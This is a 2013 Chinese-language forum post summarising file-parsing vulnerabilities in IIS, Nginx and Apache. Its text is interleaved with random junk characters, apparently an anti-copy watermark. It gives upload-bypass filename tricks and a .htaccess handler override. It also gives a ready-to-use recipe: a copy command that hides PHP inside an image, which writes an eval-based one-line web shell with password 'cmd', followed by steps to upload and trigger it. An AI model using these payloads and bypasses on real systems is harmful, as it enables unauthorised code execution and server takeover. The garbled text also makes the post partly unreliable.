找回密码
 立即注册
查看: 3421|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain% _1 }! L+ E, v& o5 S. j% u
[+]IIS6.0  V/ z; }" j: s' P; a9 B9 N4 h) U
: a# T0 n: z# a2 v4 ^  ?
目录解析:/xx.asp/xx.jpg
/ D5 v4 u1 @0 E# x% S; G xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码4 @0 E' t& P6 ~) s* `+ r# j
IIS6.0 会将 xx.jpg 解析为 asp 文件。
3 I# r. e+ ?$ t% o0 J: \后缀解析:/xx.asp;.jpg     
( n9 X$ M; E! X* n- `- t IIS6.0 都会把此类后缀文件成功解析为 asp 文件。; B- o; ?, ^" S+ n
默认解析:/xx.asa" W$ t. n5 `+ s- X5 ?7 M
         /xx.cer$ |: s" M4 h  h  a' |# X' b
         /xx.cdx2 E+ Q. w$ F- R$ q) G- L! r( i
IIS6.0 默认的可执行文件除了 asp 还包含这三种
6 z& ^5 D$ g* E 此处可联系利用目录解析漏洞 . `: k  y) Q! @* A( q. e- l, a, W
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg  ~$ o8 p$ h/ x; k  }
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03. j1 j% I1 Z; a' o
) P3 }" m  D4 l: J5 X
IIS 7.0/IIS 7.5/Nginx <0.8.030 H: m6 f. R: a  P1 k
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
3 o; }/ n% e0 \  K7 b' @ 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
1 F& v+ m& Q, h' W3 C) Y5 K# m: ] 常用利用方法:
; H$ N1 w+ l# D+ Y  D; e 将一张图和一个写入后门代码的文本文件合并将恶意文本
5 x8 z) O6 K3 O5 Y' k 写入图片的二进制代码之后,避免破坏图片文件头和尾
9 F4 d. I0 f/ j+ m& U% n2 M' u 如:. p% R( ?1 y6 V% ?8 X, t
copy xx.jpg /b + yy.txt/a xy.jpg4 p: U5 z) U: V
#########################################################, U2 K7 g" ~$ a
/b 即二进制[binary]模式
2 P: r( D& @, p /a 即ascii模式9 d, E# Y* s" M4 \* Y& l* `5 E- J
xx.jpg 正常图片文件
2 D2 a  E9 q# H yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
7 p+ K+ z& X' e '<?php eval($_POST[cmd])?>');?>1 \( |2 f" H# W3 ?8 B2 ?, q) p
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
8 x# X- t5 l7 T 为shell.php的文件2 K5 t6 a# G& `
###########################################################
; `* }9 J5 t3 [: r% z' O2 Z7 [* }9 E: R 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php & f3 c7 D0 z- j" @) Q5 K* A1 q
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php ; {3 X3 v( C# ?; B: F3 N
密码 cmd0 d, A+ E- V+ i# n& i
[+]Nginx <0.8.03/ `( w! x8 Q1 s

# i  o1 y9 u- l! x! \ 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
+ I. W8 O6 t0 l3 |2 P( H  i 在一个文件路径(/xx.jpg)后面加上%00.php* k; X+ z8 N  \* R
会将 /xx.jpg%00.php 解析为 php 文件。7 n: J4 O  K3 g. j1 n* t
[+]Apache<0.8.030 h; E1 {% ]2 ]2 J# e2 i. u' f3 O

, C7 A' M7 t+ r( h 后缀解析:test.php.x1.x2.x3% l5 q" V" d$ D" q- Y( H; v
Apache将从右至左开始判断后缀,若x3非可识别后缀,9 B+ ?& D" D. w! o' S8 d, b
再判断x2,直到找到可识别后缀为止,然后将该可识别- F% `5 H) s& T, D: Z- G; p# @% A# M- J
后缀进解析test.php.x1.x2.x3 则会被解析为php9 V" K0 ]- I6 m! i& H% V5 M6 F. {
经验之谈:php|php3|phtml 多可被Apache解析。
7 t2 d5 K, _1 @  t) Q[+]其他一些可利用的& W& a& i: `: z& m4 E+ Y+ v# P0 E

9 t! M, ^8 h. p- b0 p5 g5 Q在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的; Y, T2 I9 X+ x- \
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
1 {2 u0 e) E. t* C' R+ n* p在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格: `& a( T6 K2 s- z6 G
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
! T, z  x& Z  r- S得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。' j3 C, W+ L% Q  k- [3 k& S
{Linux主机中不行,Linux允许这类文件存在}. R: p$ I/ f2 E; }* O- M* T
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
6 [0 m" `) ?, S4 A6 f+ ?/ h的,当初我并不知道),且可以被上传,那可以尝试在$ \! |3 I5 ]$ e5 \
.htaccess中写入:3 O- ]- c. J+ R* G
<FilesMatch “shell.jpg”>
8 o* `8 ~8 Q; X& s# ?SetHandler application/x-httpd-php
3 C) ]( n+ {# d( ?3 a; i% f7 V</FilesMatch>
) n1 t5 t5 x, o  Q. c) W$ ushell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件% l: i0 p, [; Y3 ^* [; ~
[+]错误修改
# n$ H3 {, h- j. [* r" ^
! n# @+ H0 A+ g: S: T在 IIS 6.0 下可解析 /xx.asp:.jpg. M) B( c$ [- @* v$ d0 R
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去; h" A. U  q0 `, z
剩下/xx.asp}修改:
9 A. ~9 G5 y: ]0 z先谢谢核攻击的提醒  D; j4 n6 D4 `- |) n, N9 O
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp/ b8 ^1 L6 `- o, Y7 i/ ^
里是没有任何内容的,因为。。不好解释 大家自己看* x- }2 q+ Q  _/ L# {/ H  @
http://lcx.cc/?i=2448
. {/ |- w0 g1 Ohttp://baike.baidu.com/view/3619593.htm* F- ]3 m7 c7 R2 ]* T

& F  e+ l. \' A1 I2 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表